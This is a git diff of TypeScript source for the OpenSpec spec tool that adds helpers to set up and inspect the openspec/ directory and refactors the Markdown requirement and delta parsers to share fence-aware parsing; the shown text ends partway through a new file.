100644 index 0000000000..d65882ee21 --- /dev/null +++ b/src/core/openspec-root.ts @@ -0,0 +1,336 @@ +import * as fs from 'node:fs/promises'; +import * as path from 'node:path'; + +import { FileSystemUtils } from '../utils/file-system.js'; +import { serializeConfig } from './config-prompts.js'; +import { + makeStoreDiagnostic, + type StoreDiagnostic, +} from './store/errors.js'; + +export const OPENSPEC_ROOT_DIR = 'openspec'; +export const OPENSPEC_CONFIG_YAML = 'openspec/config.yaml'; +export const OPENSPEC_CONFIG_YML = 'openspec/config.yml'; +export const OPENSPEC_SPECS_DIR = 'openspec/specs'; +export const OPENSPEC_CHANGES_DIR = 'openspec/changes'; +export const OPENSPEC_ARCHIVE_DIR = 'openspec/changes/archive'; +export const DEFAULT_OPENSPEC_SCHEMA = 'spec-driven'; +export const DIRECTORY_ANCHOR_FILE_NAME = '.gitkeep'; + +// Git cannot track empty directories, so setup anchors otherwise-empty +// conventional store directories for teammates who clone the repo later. +export const ANCHORED_OPENSPEC_DIRS = [OPENSPEC_SPECS_DIR, OPENSPEC_ARCHIVE_DIR] as const; + +type PathKind = 'missing' | 'directory' | 'file' | 'other'; + +export interface CreatedPathLedgerEntry { + relativePath: string; + absolutePath: string; + kind: 'directory' | 'file'; +} + +export interface OpenSpecRootInspection { + present: boolean | null; + config: { + present: boolean | null; + path?: string; + }; + specs: { + present: boolean | null; + }; + changes: { + present: boolean | null; + }; + archive: { + present: boolean | null; + }; + healthy: boolean; + diagnostics: StoreDiagnostic[]; +} + +export interface EnsureOpenSpecRootResult { + inspection: OpenSpecRootInspection; + createdArtifacts: string[]; + createdPaths: CreatedPathLedgerEntry[]; +} + +async function pathKind(targetPath: string): Promise<PathKind> { + try { + const stat = await fs.stat(targetPath); + if (stat.isDirectory()) return 'directory'; + if (stat.isFile()) return 'file'; + return 'other'; + } catch (error) { + if ( + typeof error === 'object' && + error !== null && + 'code' in error && + (error as NodeJS.ErrnoException).code === 'ENOENT' + ) { + return 'missing'; + } + + throw error; + } +} + +function relativeArtifact(relativePath: string, kind: CreatedPathLedgerEntry['kind']): string { + const normalized = FileSystemUtils.toPosixPath(relativePath); + return kind === 'directory' ? `${normalized}/` : normalized; +} + +function unresolvedInspection(): OpenSpecRootInspection { + return { + present: null, + config: { present: null }, + specs: { present: null }, + changes: { present: null }, + archive: { present: null }, + healthy: false, + diagnostics: [], + }; +} + +function missingDirectoryDiagnostic( + code: string, + message: string, + target: string +): StoreDiagnostic { + return makeStoreDiagnostic('error', code, message, { target }); +} + +type OptionalPlanningDirectoryKey = 'specs' | 'changes' | 'archive'; + +async function inspectOptionalPlanningDirectory( + inspection: OpenSpecRootInspection, + storeRoot: string, + key: OptionalPlanningDirectoryKey, + relativePath: string, + notDirectoryCode: string, + target: string +): Promise<PathKind> { + const kind = await pathKind(path.join(storeRoot, relativePath)); + inspection[key] = { present: kind === 'directory' }; + if (kind === 'directory' || kind === 'missing') return kind; + + inspection.diagnostics.push(missingDirectoryDiagnostic( + notDirectoryCode, + `${relativePath}/ exists but is not a directory.`, + target + )); + return kind; +} + +export async function inspectOpenSpecRoot(storeRoot: string): Promise<OpenSpecRootInspection> { + const rootKind = await pathKind(storeRoot); + const inspection = unresolvedInspection(); + + if (rootKind === 'missing') { + inspection.diagnostics.push(missingDirectoryDiagnostic( + 'openspec_store_root_missing', + 'Store root does not exist.', + 'store.root' + )); + return inspection; + } + + if (rootKind !== 'directory') { + inspection.diagnostics.push(missingDirectoryDiagnostic( + 'openspec_store_root_not_directory', + 'Store root is not a directory.', + 'store.root' + )); + return inspection; + } + + const openspecPath = path.join(storeRoot, OPENSPEC_ROOT_DIR); + const openspecKind = await pathKind(openspecPath); + inspection.present = openspecKind === 'directory'; + + if (openspecKind === 'missing') { + inspection.diagnostics.push(missingDirectoryDiagnostic( + 'openspec_root_missing', + 'Missing openspec/ directory.', + 'openspec.root' + )); + return inspection; + } + + if (openspecKind !== 'directory') { + inspection.diagnostics.push(missingDirectoryDiagnostic( + 'openspec_root_not_directory', + 'openspec/ exists but is not a directory.', + 'openspec.root' + )); + return inspection; + } + + const configYamlKind = await pathKind(path.join(storeRoot, OPENSPEC_CONFIG_YAML)); + const configYmlKind = await pathKind(path.join(storeRoot, OPENSPEC_CONFIG_YML)); + if (configYamlKind === 'file') { + inspection.config = { present: true, path: OPENSPEC_CONFIG_YAML }; + } else if (configYmlKind === 'file') { + inspection.config = { present: true, path: OPENSPEC_CONFIG_YML }; + } else { + inspection.config = { present: false }; + if (configYamlKind !== 'missing' || configYmlKind !== 'missing') { + inspection.diagnostics.push(missingDirectoryDiagnostic( + 'openspec_config_not_file', + 'OpenSpec config path exists but is not a file.', + 'openspec.config' + )); + } else { + inspection.diagnostics.push(missingDirectoryDiagnostic( + 'openspec_config_missing', + 'Missing openspec/config.yaml or openspec/config.yml.', + 'openspec.config' + )); + } + } + + await inspectOptionalPlanningDirectory( + inspection, + storeRoot, + 'specs', + OPENSPEC_SPECS_DIR, + 'openspec_specs_not_directory', + 'openspec.specs' + ); + const changesKind = await inspectOptionalPlanningDirectory( + inspection, + storeRoot, + 'changes', + OPENSPEC_CHANGES_DIR, + 'openspec_changes_not_directory', + 'openspec.changes' + ); + if (changesKind === 'directory') { + await inspectOptionalPlanningDirectory( + inspection, + storeRoot, + 'archive', + OPENSPEC_ARCHIVE_DIR, + 'openspec_archive_not_directory', + 'openspec.archive' + ); + } else { + inspection.archive = { present: false }; + } + + inspection.healthy = + inspection.present === true && + inspection.config.present === true && + inspection.diagnostics.length === 0; + + return inspection; +} + +async function ensureDirectory( + storeRoot: string, + relativePath: string, + ledger: CreatedPathLedgerEntry[] +): Promise<void> { + const absolutePath = path.join(storeRoot, relativePath); + const kind = await pathKind(absolutePath); + + if (kind === 'directory') return; + if (kind !== 'missing') { + throw new Error(`${relativePath}/ exists but is not a directory.`); + } + + await fs.mkdir(absolutePath, { recursive: true }); + ledger.push({ + relativePath: relativeArtifact(relativePath, 'directory'), + absolutePath, + kind: 'directory', + }); +} + +async function ensureDefaultConfig( + storeRoot: string, + ledger: CreatedPathLedgerEntry[] +): Promise<void> { + const configYamlPath = path.join(storeRoot, OPENSPEC_CONFIG_YAML); + const configYmlPath = path.join(storeRoot, OPENSPEC_CONFIG_YML); + const yamlKind = await pathKind(configYamlPath); + const ymlKind = await pathKind(configYmlPath); + + if (yamlKind === 'file' || ymlKind === 'file') return; + if (yamlKind !== 'missing' || ymlKind !== 'missing') { + throw new Error('OpenSpec config path exists but is not a file.'); + } + + await FileSystemUtils.writeFile( + configYamlPath, + serializeConfig({ schema: DEFAULT_OPENSPEC_SCHEMA }) + ); + ledger.push({ + relativePath: relativeArtifact(OPENSPEC_CONFIG_YAML, 'file'), + absolutePath: configYamlPath, + kind: 'file', + }); +} + +async function ensureDirectoryAnchor( + storeRoot: string, + relativeDir: string, + ledger: CreatedPathLedgerEntry[] +): Promise<void> { + const directory = path.join(storeRoot, relativeDir); + if ((await fs.readdir(directory)).length > 0) return; + + const relativePath = `${relativeDir}/${DIRECTORY_ANCHOR_FILE_NAME}`; + const absolutePath = path.join(directory, DIRECTORY_ANCHOR_FILE_NAME); + await fs.writeFile(absolutePath, '', 'utf-8'); + ledger.push({ + relativePath: relativeArtifact(relativePath, 'file'), + absolutePath, + kind: 'file', + }); +} + +export interface EnsureOpenSpecRootOptions { + anchorEmptyDirectories?: boolean; +} + +export async function ensureOpenSpecRoot( + storeRoot: string, + options: EnsureOpenSpecRootOptions = {} +): Promise<EnsureOpenSpecRootResult> { + const ledger: CreatedPathLedgerEntry[] = []; + const rootKind = await pathKind(storeRoot); + + if (rootKind === 'missing') { + await fs.mkdir(storeRoot, { recursive: true }); + } else if (rootKind !== 'directory') { + throw new Error('Store root is not a directory.'); + } + + await ensureDirectory(storeRoot, OPENSPEC_ROOT_DIR, ledger); + await ensureDirectory(storeRoot, OPENSPEC_SPECS_DIR, ledger); + await ensureDirectory(storeRoot, OPENSPEC_CHANGES_DIR, ledger); + await ensureDirectory(storeRoot, OPENSPEC_ARCHIVE_DIR, ledger); + await ensureDefaultConfig(storeRoot, ledger); + + if (options.anchorEmptyDirectories) { + for (const relativeDir of ANCHORED_OPENSPEC_DIRS) { + await ensureDirectoryAnchor(storeRoot, relativeDir, ledger); + } + } + + return { + inspection: await inspectOpenSpecRoot(storeRoot), + createdArtifacts: ledger.map((entry) => entry.relativePath), + createdPaths: ledger, + }; +} + +export async function rollbackCreatedPaths(entries: CreatedPathLedgerEntry[]): Promise<void> { + for (const entry of [...entries].reverse()) { + if (entry.kind === 'file') { + await fs.rm(entry.absolutePath, { force: true }).catch(() => undefined); + } else { + await fs.rmdir(entry.absolutePath).catch(() => undefined); + } + } +} diff --git a/src/core/parsers/change-parser.ts b/src/core/parsers/change-parser.ts index a2c364b70c..134d32085c 100644 --- a/src/core/parsers/change-parser.ts +++ b/src/core/parsers/change-parser.ts @@ -1,7 +1,9 @@ import { MarkdownParser, Section } from './markdown-parser.js'; +import { buildCodeFenceMask } from './requirement-text.js'; import { Change, Delta, DeltaOperation, Requirement } from '../schemas/index.js'; import path from 'path'; import { promises as fs } from 'fs'; +import { discoverSpecFiles } from '../../utils/spec-discovery.js'; interface DeltaSection { operation: DeltaOperation; @@ -54,33 +56,48 @@ export class ChangeParser extends MarkdownParser { private async parseDeltaSpecs(specsDir: string): Promise<Delta[]> { const deltas: Delta[] = []; - - try { - const specDirs = await fs.readdir(specsDir, { withFileTypes: true }); - - for (const dir of specDirs) { - if (!dir.isDirectory()) continue; - - const specName = dir.name; - const specFile = path.join(specsDir, specName, 'spec.md'); - - try { - const content = await fs.readFile(specFile, 'utf-8'); - const specDeltas = this.parseSpecDeltas(specName, content); - deltas.push(...specDeltas); - } catch (error) { - // Spec file might not exist, which is okay - continue; - } + + // Discover delta specs recursively so nested layouts like + // specs/<area>/<capability>/spec.md are parsed too (#1353) + const specFiles = await discoverSpecFiles(specsDir); + + for (const { id, specFile } of specFiles) { + try { + const content = await fs.readFile(specFile, 'utf-8'); + const specDeltas = this.parseSpecDeltas(id, content); + deltas.push(...specDeltas); + } catch (error) { + // Spec file might not be readable, which is okay + continue; } - } catch (error) { - // Specs directory might not exist, which is okay - return []; } - + return deltas; } + /** + * Read requirements from a delta section, ignoring headers that are not + * `### Requirement: <name>`. + * + * A delta section often carries divider headers such as + * `### Documentation Requirements`. The base parser treats every child header + * as a requirement, which invented a scenario-less requirement that does not + * exist (#498): archive warned about a missing scenario, and `show --json` + * reported an extra delta. The delta reader already skips these headers and + * notes them, so this keeps the two readers in agreement. + * + * Overriding here rather than in MarkdownParser keeps main spec parsing — + * `view`, `list`, `spec --json`, spec validation — untouched. + */ + protected parseRequirements(section: Section): Requirement[] { + return super.parseRequirements({ + ...section, + children: section.children.filter((child) => + /^Requirement:\s*\S/i.test(child.title.trim()) + ), + }); + } + private parseSpecDeltas(specName: string, content: string): Delta[] { const deltas: Delta[] = []; const sections = this.parseSectionsFromContent(content); @@ -179,7 +196,7 @@ export class ChangeParser extends MarkdownParser { private parseSectionsFromContent(content: string): Section[] { const normalizedContent = ChangeParser.normalizeContent(content); const lines = normalizedContent.split('\n'); - const codeFenceLineMask = ChangeParser.buildCodeFenceMask(lines); + const codeFenceLineMask = buildCodeFenceMask(lines); const sections: Section[] = []; const stack: Section[] = []; diff --git a/src/core/parsers/code-fence.ts b/src/core/parsers/code-fence.ts new file mode 100644 index 0000000000..bb580c2d8b --- /dev/null +++ b/src/core/parsers/code-fence.ts @@ -0,0 +1,62 @@ +/** + * Shared fenced-code-block detection for the Markdown parsers. + * + * Several parsers need to ignore Markdown structure (headers, requirement + * blocks, scenarios, delta sections) that appears inside fenced code blocks. + * Keeping this logic in one place avoids the drift that previously left + * `requirement-blocks.ts` treating fenced `### Requirement:` lines as real + * requirements during validation and archiving. + */ + +interface ActiveFence { + marker: '`' | '~'; + length: number; +} + +function getFenceMarker(line: string): ActiveFence | null { + const fenceMatch = line.match(/^\s*(`{3,}|~{3,})/); + if (!fenceMatch) { + return null; + } + + return { + marker: fenceMatch[1][0] as '`' | '~', + length: fenceMatch[1].length, + }; +} + +function isClosingFence(line: string, activeFence: ActiveFence): boolean { + const fenceMatch = line.match(/^\s*(`{3,}|~{3,})\s*$/); + return Boolean( + fenceMatch && + fenceMatch[1][0] === activeFence.marker && + fenceMatch[1].length >= activeFence.length + ); +} + +/** + * Builds a per-line mask where `true` marks a line that is part of a fenced + * code block (including the opening and closing fence lines themselves). + */ +export function buildCodeFenceMask(lines: string[]): boolean[] { + const mask = new Array<boolean>(lines.length).fill(false); + let activeFence: ActiveFence | null = null; + + for (let i = 0; i < lines.length; i++) { + if (!activeFence) { + const fence = getFenceMarker(lines[i]); + if (fence) { + activeFence = fence; + mask[i] = true; + } + continue; + } + + mask[i] = true; + if (isClosingFence(lines[i], activeFence)) { + activeFence = null; + } + } + + return mask; +} diff --git a/src/core/parsers/markdown-parser.ts b/src/core/parsers/markdown-parser.ts index abad78df22..4834f4795e 100644 --- a/src/core/parsers/markdown-parser.ts +++ b/src/core/parsers/markdown-parser.ts @@ -1,4 +1,5 @@ import { Spec, Change, Requirement, Scenario, Delta, DeltaOperation } from '../schemas/index.js'; +import { buildCodeFenceMask, extractRequirementText } from './requirement-text.js'; export interface Section { level: number; @@ -15,60 +16,13 @@ export class MarkdownParser { constructor(content: string) { const normalized = MarkdownParser.normalizeContent(content); this.lines = normalized.split('\n'); - this.codeFenceLineMask = MarkdownParser.buildCodeFenceMask(this.lines); + this.codeFenceLineMask = buildCodeFenceMask(this.lines); this.currentLine = 0; } protected static normalizeContent(content: string): string { - return content.replace(/\r\n?/g, '\n'); - } - - protected static buildCodeFenceMask(lines: string[]): boolean[] { - const mask = new Array(lines.length).fill(false); - let activeFence: { marker: '`' | '~'; length: number } | null = null; - - for (let i = 0; i < lines.length; i++) { - const fence = MarkdownParser.getFenceMarker(lines[i]); - - if (!activeFence) { - if (fence) { - activeFence = fence; - mask[i] = true; - } - continue; - } - - mask[i] = true; - if (MarkdownParser.isClosingFence(lines[i], activeFence)) { - activeFence = null; - } - } - - return mask; - } - - private static getFenceMarker(line: string): { marker: '`' | '~'; length: number } | null { - const fenceMatch = line.match(/^\s*(`{3,}|~{3,})/); - if (!fenceMatch) { - return null; - } - - return { - marker: fenceMatch[1][0] as '`' | '~', - length: fenceMatch[1].length, - }; - } - - private static isClosingFence( - line: string, - activeFence: { marker: '`' | '~'; length: number } - ): boolean { - const fenceMatch = line.match(/^\s*(`{3,}|~{3,})\s*$/); - return Boolean( - fenceMatch && - fenceMatch[1][0] === activeFence.marker && - fenceMatch[1].length >= activeFence.length - ); + // Strip a UTF-8 BOM so a header on the first line still matches. + return content.replace(/^/, '').replace(/\r\n?/g, '\n'); } parseSpec(name: string): Spec { @@ -197,43 +151,20 @@ export class MarkdownParser { protected parseRequirements(section: Section): Requirement[] { const requirements: Requirement[] = []; - + for (const child of section.children) { - // Extract requirement text from first non-empty content line, fall back to heading - let text = child.title; - - // Get content before any child sections (scenarios) - if (child.content.trim()) { - // Split content into lines and find content before any child headers - const lines = child.content.split('\n'); - const contentBeforeChildren: string[] = []; - - for (const line of lines) { - // Stop at child headers (scenarios start with ####) - if (line.trim().startsWith('#')) { - break; - } - contentBeforeChildren.push(line); - } - - // Find first non-empty line - const directContent = contentBeforeChildren.join('\n').trim(); - if (directContent) { - const firstLine = directContent.split('\n').find(l => l.trim()); - if (firstLine) { - text = firstLine.trim(); - } - } - } - + // Read the requirement text via the shared reader (multi-line, fence- and + // metadata-aware, with the shared header-title fallback for empty bodies). + const text = extractRequirementText(child.title, child.content.split('\n')); + const scenarios = this.parseScenarios(child); - + requirements.push({ text, scenarios, }); } - + return requirements; } diff --git a/src/core/parsers/requirement-blocks.ts b/src/core/parsers/requirement-blocks.ts index 7a8161a94f..2f2c8a2004 100644 --- a/src/core/parsers/requirement-blocks.ts +++ b/src/core/parsers/requirement-blocks.ts @@ -1,3 +1,5 @@ +import { buildCodeFenceMask } from './requirement-text.js'; + export interface RequirementBlock { headerLine: string; // e.g., '### Requirement: Something' name: string; // e.g., 'Something' @@ -16,7 +18,19 @@ export function normalizeRequirementName(name: string): string { return name.trim(); } -const REQUIREMENT_HEADER_REGEX = /^###\s*Requirement:\s*(.+)\s*$/; +/** + * Case- and whitespace-insensitive fold of a requirement name. Requirement + * matching itself is case-sensitive (normalizeRequirementName); this fold + * exists only for typo detection - near-miss REMOVED headers and the + * RENAMED+REMOVED cross-section conflict - where two spellings that differ + * only in case or interior whitespace mean a mistake, never two requirements. + */ +export function foldRequirementName(name: string): string { + return normalizeRequirementName(name).toLowerCase().replace(/\s+/g, ' '); +} + +/** The canonical requirement header the delta reader recognizes. */ +const REQUIREMENT_HEADER_REGEX = /^###\s*Requirement:\s*(.+)\s*$/i; /** * Extracts the Requirements section from a spec file and parses requirement blocks. @@ -24,7 +38,8 @@ const REQUIREMENT_HEADER_REGEX = /^###\s*Requirement:\s*(.+)\s*$/; export function extractRequirementsSection(content: string): RequirementsSectionParts { const normalized = normalizeLineEndings(content); const lines = normalized.split('\n'); - const reqHeaderIndex = lines.findIndex(l => /^##\s+Requirements\s*$/i.test(l)); + const fenceMask = buildCodeFenceMask(lines); + const reqHeaderIndex = lines.findIndex((l, i) => !fenceMask[i] && /^##\s+Requirements\s*$/i.test(l)); if (reqHeaderIndex === -1) { // No requirements section; create an empty one at the end @@ -42,7 +57,7 @@ export function extractRequirementsSection(content: string): RequirementsSection // Find end of this section: next line that starts with '## ' at same or higher level let endIndex = lines.length; for (let i = reqHeaderIndex + 1; i < lines.length; i++) { - if (/^##\s+/.test(lines[i])) { + if (!fenceMask[i] && /^##\s+/.test(lines[i])) { endIndex = i; break; } @@ -51,6 +66,11 @@ export function extractRequirementsSection(content: string): RequirementsSection const before = lines.slice(0, reqHeaderIndex).join('\n'); const headerLine = lines[reqHeaderIndex]; const sectionBodyLines = lines.slice(reqHeaderIndex + 1, endIndex); + const sectionBodyMask = fenceMask.slice(reqHeaderIndex + 1, endIndex); + const isRequirementHeader = (cursor: number): boolean => + !sectionBodyMask[cursor] && REQUIREMENT_HEADER_REGEX.test(sectionBodyLines[cursor]); + const isTopLevelHeader = (cursor: number): boolean => + !sectionBodyMask[cursor] && /^##\s+/.test(sectionBodyLines[cursor]); // Parse requirement blocks within section body const blocks: RequirementBlock[] = []; @@ -58,25 +78,24 @@ export function extractRequirementsSection(content: string): RequirementsSection let preambleLines: string[] = []; // Collect preamble lines until first requirement header - while (cursor < sectionBodyLines.length && !/^###\s+Requirement:/.test(sectionBodyLines[cursor])) { + while (cursor < sectionBodyLines.length && !isRequirementHeader(cursor)) { preambleLines.push(sectionBodyLines[cursor]); cursor++; } while (cursor < sectionBodyLines.length) { - const headerStart = cursor; const headerLineCandidate = sectionBodyLines[cursor]; - const headerMatch = headerLineCandidate.match(REQUIREMENT_HEADER_REGEX); - if (!headerMatch) { + if (!isRequirementHeader(cursor)) { // Not a requirement header; skip line defensively cursor++; continue; } + const headerMatch = headerLineCandidate.match(REQUIREMENT_HEADER_REGEX)!; const name = normalizeRequirementName(headerMatch[1]); cursor++; // Gather lines until next requirement header or end of section const bodyLines: string[] = [headerLineCandidate]; - while (cursor < sectionBodyLines.length && !/^###\s+Requirement:/.test(sectionBodyLines[cursor]) && !/^##\s+/.test(sectionBodyLines[cursor])) { + while (cursor < sectionBodyLines.length && !isRequirementHeader(cursor) && !isTopLevelHeader(cursor)) { bodyLines.push(sectionBodyLines[cursor]); cursor++; } @@ -96,11 +115,23 @@ export function extractRequirementsSection(content: string): RequirementsSection }; } +/** + * A level-3 header inside `## ADDED`/`## MODIFIED Requirements` that is not a + * canonical `### Requirement:` header, recorded at the moment the delta reader + * skips over it. Surfaced as an INFO note by `validate <change>` (#498). + */ +export interface SkippedHeader { + header: string; // header text without the leading ### + section: string; // the ## section title as written + line: number; // 1-based line number in the delta file +} + export interface DeltaPlan { added: RequirementBlock[]; modified: RequirementBlock[]; removed: string[]; // requirement names renamed: Array<{ from: string; to: string }>; + skippedHeaders: SkippedHeader[]; // non-canonical ### headers the reader skipped sectionPresence: { added: boolean; modified: boolean; @@ -110,7 +141,20 @@ export interface DeltaPlan { } function normalizeLineEndings(content: string): string { - return content.replace(/\r\n?/g, '\n'); + // Strip a UTF-8 BOM: Windows editors and PowerShell redirects prepend one, + // and it would keep the first line's `## ADDED Requirements` from matching. + return content.replace(/^/, '').replace(/\r\n?/g, '\n'); +} + +/** + * A slice of a document represented as its lines plus a parallel mask marking + * lines that live inside fenced code blocks (which must be ignored when + * detecting Markdown structure). + */ +interface SectionBody { + lines: string[]; + fenceMask: boolean[]; + bodyStartLine: number; } /** @@ -118,20 +162,33 @@ function normalizeLineEndings(content: string): string { */ export function parseDeltaSpec(content: string): DeltaPlan { const normalized = normalizeLineEndings(content); - const sections = splitTopLevelSections(normalized); + const lines = normalized.split('\n'); + const fenceMask = buildCodeFenceMask(lines); + const sections = splitTopLevelSections(lines, fenceMask); const addedLookup = getSectionCaseInsensitive(sections, 'ADDED Requirements'); const modifiedLookup = getSectionCaseInsensitive(sections, 'MODIFIED Requirements'); const removedLookup = getSectionCaseInsensitive(sections, 'REMOVED Requirements'); const renamedLookup = getSectionCaseInsensitive(sections, 'RENAMED Requirements'); - const added = parseRequirementBlocksFromSection(addedLookup.body); - const modified = parseRequirementBlocksFromSection(modifiedLookup.body); + const skippedHeaders: SkippedHeader[] = []; + const added = parseRequirementBlocksFromSection(addedLookup.body, { + section: addedLookup.title, + bodyStartLine: addedLookup.bodyStartLine, + sink: skippedHeaders, + }); + const modified = parseRequirementBlocksFromSection(modifiedLookup.body, { + section: modifiedLookup.title, + bodyStartLine: modifiedLookup.bodyStartLine, + sink: skippedHeaders, + }); const removedNames = parseRemovedNames(removedLookup.body); const renamedPairs = parseRenamedPairs(renamedLookup.body); + skippedHeaders.sort((a, b) => a.line - b.line); return { added, modified, removed: removedNames, renamed: renamedPairs, + skippedHeaders, sectionPresence: { added: addedLookup.found, modified: modifiedLookup.found, @@ -141,42 +198,71 @@ export function parseDeltaSpec(content: string): DeltaPlan { }; } -function splitTopLevelSections(content: string): Record<string, string> { - const lines = content.split('\n'); - const result: Record<string, string> = {}; - const indices: Array<{ title: string; index: number; level: number }> = []; +function splitTopLevelSections(lines: string[], fenceMask: boolean[]): Record<string, SectionBody> { + const result: Record<string, SectionBody> = {}; + const indices: Array<{ title: string; index: number }> = []; for (let i = 0; i < lines.length; i++) { + if (fenceMask[i]) continue; const m = lines[i].match(/^(##)\s+(.+)$/); if (m) { - const level = m[1].length; // only care for '##' - indices.push({ title: m[2].trim(), index: i, level }); + indices.push({ title: m[2].trim(), index: i }); } } for (let i = 0; i < indices.length; i++) { const current = indices[i]; const next = indices[i + 1]; - const body = lines.slice(current.index + 1, next ? next.index : lines.length).join('\n'); - result[current.title] = body; + const end = next ? next.index : lines.length; + result[current.title] = { + lines: lines.slice(current.index + 1, end), + fenceMask: fenceMask.slice(current.index + 1, end), + bodyStartLine: current.index + 2, + }; } return result; } -function getSectionCaseInsensitive(sections: Record<string, string>, desired: string): { body: string; found: boolean } { +const EMPTY_SECTION_BODY: SectionBody = { lines: [], fenceMask: [], bodyStartLine: 0 }; + +function getSectionCaseInsensitive( + sections: Record<string, SectionBody>, + desired: string +): { title: string; body: SectionBody; bodyStartLine: number; found: boolean } { const target = desired.toLowerCase(); for (const [title, body] of Object.entries(sections)) { - if (title.toLowerCase() === target) return { body, found: true }; + if (title.toLowerCase() === target) { + return { title, body, bodyStartLine: body.bodyStartLine, found: true }; + } } - return { body: '', found: false }; + return { title: desired, body: EMPTY_SECTION_BODY, bodyStartLine: 0, found: false }; } -function parseRequirementBlocksFromSection(sectionBody: string): RequirementBlock[] { - if (!sectionBody) return []; - const lines = normalizeLineEndings(sectionBody).split('\n'); +function parseRequirementBlocksFromSection( + sectionBody: SectionBody, + skipped?: { section: string; bodyStartLine: number; sink: SkippedHeader[] } +): RequirementBlock[] { + const { lines, fenceMask } = sectionBody; + if (lines.length === 0) return []; + const isRequirementHeader = (i: number): boolean => !fenceMask[i] && REQUIREMENT_HEADER_REGEX.test(lines[i]); + const isTopLevelHeader = (i: number): boolean => !fenceMask[i] && /^##\s+/.test(lines[i]); + const recordIfSkippedHeader = (index: number) => { + if (!skipped || fenceMask[index]) return; + const h3 = lines[index].match(/^###\s+(.+?)\s*$/); + if (h3 && !REQUIREMENT_HEADER_REGEX.test(lines[index])) { + skipped.sink.push({ + header: h3[1].trim(), + section: skipped.section, + line: skipped.bodyStartLine + index, + }); + } + }; const blocks: RequirementBlock[] = []; let i = 0; while (i < lines.length) { // Seek next requirement header - while (i < lines.length && !/^###\s+Requirement:/.test(lines[i])) i++; + while (i < lines.length && !isRequirementHeader(i)) { + recordIfSkippedHeader(i); + i++; + } if (i >= lines.length) break; const headerLine = lines[i]; const m = headerLine.match(REQUIREMENT_HEADER_REGEX); @@ -184,7 +270,8 @@ function parseRequirementBlocksFromSection(sectionBody: string): RequirementBloc const name = normalizeRequirementName(m[1]); const buf: string[] = [headerLine]; i++; - while (i < lines.length && !/^###\s+Requirement:/.test(lines[i]) && !/^##\s+/.test(lines[i])) { + while (i < lines.length && !isRequirementHeader(i) && !isTopLevelHeader(i)) { + recordIfSkippedHeader(i); buf.push(lines[i]); i++; } @@ -193,11 +280,13 @@ function parseRequirementBlocksFromSection(sectionBody: string): RequirementBloc return blocks; } -function parseRemovedNames(sectionBody: string): string[] { - if (!sectionBody) return []; +function parseRemovedNames(sectionBody: SectionBody): string[] { + const { lines, fenceMask } = sectionBody; + if (lines.length === 0) return []; const names: string[] = []; - const lines = normalizeLineEndings(sectionBody).split('\n'); - for (const line of lines) { + for (let i = 0; i < lines.length; i++) { + if (fenceMask[i]) continue; + const line = lines[i]; const m = line.match(REQUIREMENT_HEADER_REGEX); if (m) { names.push(normalizeRequirementName(m[1])); @@ -212,12 +301,14 @@ function parseRemovedNames(sectionBody: string): string[] { return names; } -function parseRenamedPairs(sectionBody: string): Array<{ from: string; to: string }> { - if (!sectionBody) return []; +function parseRenamedPairs(sectionBody: SectionBody): Array<{ from: string; to: string }> { + const { lines, fenceMask } = sectionBody; + if (lines.length === 0) return []; const pairs: Array<{ from: string; to: string }> = []; - const lines = normalizeLineEndings(sectionBody).split('\n'); let current: { from?: string; to?: string } = {}; - for (const line of lines) { + for (let i = 0; i < lines.length; i++) { + if (fenceMask[i]) continue; + const line = lines[i]; const fromMatch = line.match(/^\s*-?\s*FROM:\s*`?###\s*Requirement:\s*(.+?)`?\s*$/); const toMatch = line.match(/^\s*-?\s*TO:\s*`?###\s*Requirement:\s*(.+?)`?\s*$/); if (fromMatch) { @@ -232,3 +323,74 @@ function parseRenamedPairs(sectionBody: string): Array<{ from: string; to: strin } return pairs; } + +interface ScenarioBlock { + name: string; + raw: string; +} + +/** + * Scenario names the current requirement block has and the incoming + * (MODIFIED) block does not. A MODIFIED requirement replaces the whole block, + * so every name reported here would be dropped from the main spec. + * + * Shared by archive (which refuses to apply the block) and validate (which + * reports the same loss at authoring time, #1477), so the two cannot disagree + * about what counts as a dropped scenario. + */ +export function findMissingCurrentScenarios(current: RequirementBlock, incoming: RequirementBlock): string[] { + // Multiplicity-aware: a name present N times in current and M times in + // incoming means max(0, N - M) instances are missing. Set membership would + // treat N>M as fully covered and let archive silently drop duplicates + // (residual #1246 / duplicate-scenario-name blind spot). + const remainingIncoming = new Map<string, number>(); + for (const scenario of parseScenarioBlocks(incoming.raw)) { + const name = scenario.name; + remainingIncoming.set(name, (remainingIncoming.get(name) ?? 0) + 1); + } + + const missing: string[] = []; + for (const scenario of parseScenarioBlocks(current.raw)) { + const name = scenario.name; + const remaining = remainingIncoming.get(name) ?? 0; + if (remaining > 0) { + remainingIncoming.set(name, remaining - 1); + } else { + missing.push(name); + } + } + return missing; +} + +function parseScenarioBlocks(requirementRaw: string): ScenarioBlock[] { + const lines = requirementRaw.replace(/\r\n?/g, '\n').split('\n'); + // A `#### Scenario:` inside a fenced example is not a real scenario. The + // validator's countScenarios already ignores fenced lines; the drift check + // must agree with it, or a fenced sample can false-abort an archive (or + // mask a genuinely dropped scenario). + const mask = buildCodeFenceMask(lines); + const scenarios: ScenarioBlock[] = []; + let index = 0; + + while (index < lines.length) { + const headerMatch = mask[index] ? null : lines[index].match(/^####\s*Scenario:\s*(.+)\s*$/); + if (!headerMatch) { + index++; + continue; + } + + const start = index; + const name = headerMatch[1].trim(); + index++; + while (index < lines.length && (mask[index] || !/^####\s*Scenario:\s*(.+)\s*$/.test(lines[index]))) { + index++; + } + + scenarios.push({ + name, + raw: lines.slice(start, index).join('\n').trimEnd(), + }); + } + + return scenarios; +} diff --git a/src/core/parsers/requirement-text.ts b/src/core/parsers/requirement-text.ts new file mode 100644 index 0000000000..9841e3ddcf --- /dev/null +++ b/src/core/parsers/requirement-text.ts @@ -0,0 +1,101 @@ +/** + * Shared, fence-aware requirement-reading helpers. + * + * The requirement reader used to be implemented twice — once for main specs + * (`MarkdownParser.parseRequirements`) and once for change deltas + * (`Validator.extractRequirementText` / `countScenarios`) — and the two drifted + * apart. These helpers are the single source of truth for requirement-body + * extraction, scenario counting, and `SHALL`/`MUST` detection in + * `validate <change>`, `validate <spec>`, and `archive`. + */ + +// Re-exported so existing importers keep working; the single implementation +// lives in code-fence.ts. +export { buildCodeFenceMask } from './code-fence.js'; +import { buildCodeFenceMask } from './code-fence.js'; + +/** Lines that look like `**ID**: ...` / `**Priority**: ...` metadata. */ +const METADATA_LINE = /^\*\*[^*]+\*\*:/; + +/** Any markdown header line — the boundary where a requirement body ends. */ +const HEADER_LINE = /^#{1,6}\s/; + +/** + * A level-4 header. 